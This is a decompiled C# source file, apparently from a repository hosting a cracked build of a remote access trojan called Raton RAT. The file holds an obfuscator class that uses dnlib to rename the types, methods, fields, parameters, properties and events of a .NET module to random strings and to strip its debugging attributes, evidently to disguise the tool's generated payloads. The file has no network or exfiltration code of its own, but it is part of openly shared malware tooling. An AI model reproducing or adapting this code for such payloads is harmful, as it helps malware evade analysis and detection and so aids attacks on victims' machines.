Files
raton4.0-source/Raton RAT/AGObfuscator.cs
T

134 lines
5.2 KiB
C#
Raw Normal View History

2026-08-27 11:23:13 -06:00
// Decompiled with JetBrains decompiler
// Type: AGObfuscator
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using dnlib.DotNet;
using System;
using System.Linq;
using System.Text;
#nullable disable
public class AGObfuscator
{
private int counter;
private readonly Random rng = new Random();
private const string SafeCharset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
public AGObfuscator(ModuleDef module)
{
if (module == null)
throw new ArgumentNullException(nameof (module));
this.Execute(module);
}
private void Execute(ModuleDef module)
{
this.RemoveDebugAttributes(module);
module.Name = (UTF8String) this.GenerateName();
foreach (TypeDef type in module.GetTypes())
{
if (this.CanRenameType(type, module))
{
type.Namespace = (UTF8String) this.GenerateName();
type.Name = (UTF8String) this.GenerateName();
foreach (FieldDef fieldDef in type.Fields.Where<FieldDef>(new Func<FieldDef, bool>(this.CanRenameField)))
fieldDef.Name = (UTF8String) this.GenerateName();
foreach (MethodDef methodDef in type.Methods.Where<MethodDef>((Func<MethodDef, bool>) (m => this.CanRenameMethod(m, module))))
{
methodDef.Name = (UTF8String) this.GenerateName();
foreach (Parameter parameter in methodDef.Parameters)
{
if (!parameter.IsHiddenThisParameter)
parameter.Name = this.GenerateName(4, 4);
}
}
foreach (PropertyDef propertyDef in type.Properties.Where<PropertyDef>(new Func<PropertyDef, bool>(this.CanRenameProperty)))
propertyDef.Name = (UTF8String) this.GenerateName();
foreach (EventDef eventDef in type.Events.Where<EventDef>(new Func<EventDef, bool>(this.CanRenameEvent)))
eventDef.Name = (UTF8String) this.GenerateName();
}
}
}
private string GenerateName(int min = 8, int extra = 6)
{
int num = min + this.rng.Next(extra);
StringBuilder stringBuilder = new StringBuilder(num + 4);
for (int index = 0; index < num; ++index)
stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[this.rng.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".Length)]);
stringBuilder.Append(this.counter++.ToString("x"));
return stringBuilder.ToString();
}
private bool CanRenameType(TypeDef t, ModuleDef module)
{
return !t.IsGlobalModuleType && !t.IsPublic && !t.IsInterface && !t.IsEnum && !t.IsValueType && module.EntryPoint?.DeclaringType != t && !this.InheritsFromUI(t) && !this.HasReflectionAttributes((IHasCustomAttribute) t) && !t.Methods.Any<MethodDef>((Func<MethodDef, bool>) (m => m.IsVirtual));
}
private bool CanRenameMethod(MethodDef m, ModuleDef module)
{
return m.HasBody && !m.IsPublic && !m.IsFamily && !m.IsVirtual && !m.IsAbstract && !m.IsConstructor && !m.IsStaticConstructor && m != module.EntryPoint && m.ImplMap == null && !this.HasReflectionAttributes((IHasCustomAttribute) m);
}
private bool CanRenameField(FieldDef f)
{
return !f.IsPublic && !f.IsFamily && !f.IsLiteral && !f.IsInitOnly;
}
private bool CanRenameProperty(PropertyDef p)
{
return !this.IsPropertyPublic(p) && !this.HasReflectionAttributes((IHasCustomAttribute) p);
}
private bool CanRenameEvent(EventDef e)
{
return !this.IsEventPublic(e) && !this.HasReflectionAttributes((IHasCustomAttribute) e);
}
private bool HasReflectionAttributes(IHasCustomAttribute m)
{
return m.CustomAttributes.Any<CustomAttribute>((Func<CustomAttribute, bool>) (a =>
{
string typeFullName = a.TypeFullName;
return typeFullName.Contains("Json") || typeFullName.Contains("Xml") || typeFullName.Contains("Serializable") || typeFullName.Contains("DataContract") || typeFullName.Contains("Reflection") || typeFullName.Contains("Designer") || typeFullName.Contains("ComVisible");
}));
}
private bool InheritsFromUI(TypeDef t)
{
string fullName = t.BaseType?.FullName;
if (fullName == null)
return false;
return fullName.Contains("Form") || fullName.Contains("Control") || fullName.Contains("UserControl") || fullName.Contains("Window");
}
private bool IsPropertyPublic(PropertyDef p)
{
MethodDef getMethod = p.GetMethod;
if ((getMethod != null ? (getMethod.IsPublic ? 1 : 0) : 0) != 0)
return true;
MethodDef setMethod = p.SetMethod;
return setMethod != null && setMethod.IsPublic;
}
private bool IsEventPublic(EventDef e)
{
MethodDef addMethod = e.AddMethod;
if ((addMethod != null ? (addMethod.IsPublic ? 1 : 0) : 0) != 0)
return true;
MethodDef removeMethod = e.RemoveMethod;
return removeMethod != null && removeMethod.IsPublic;
}
private void RemoveDebugAttributes(ModuleDef module)
{
for (int index = module.CustomAttributes.Count - 1; index >= 0; --index)
{
if (module.CustomAttributes[index].TypeFullName.Contains("Debuggable"))
module.CustomAttributes.RemoveAt(index);
}
}
}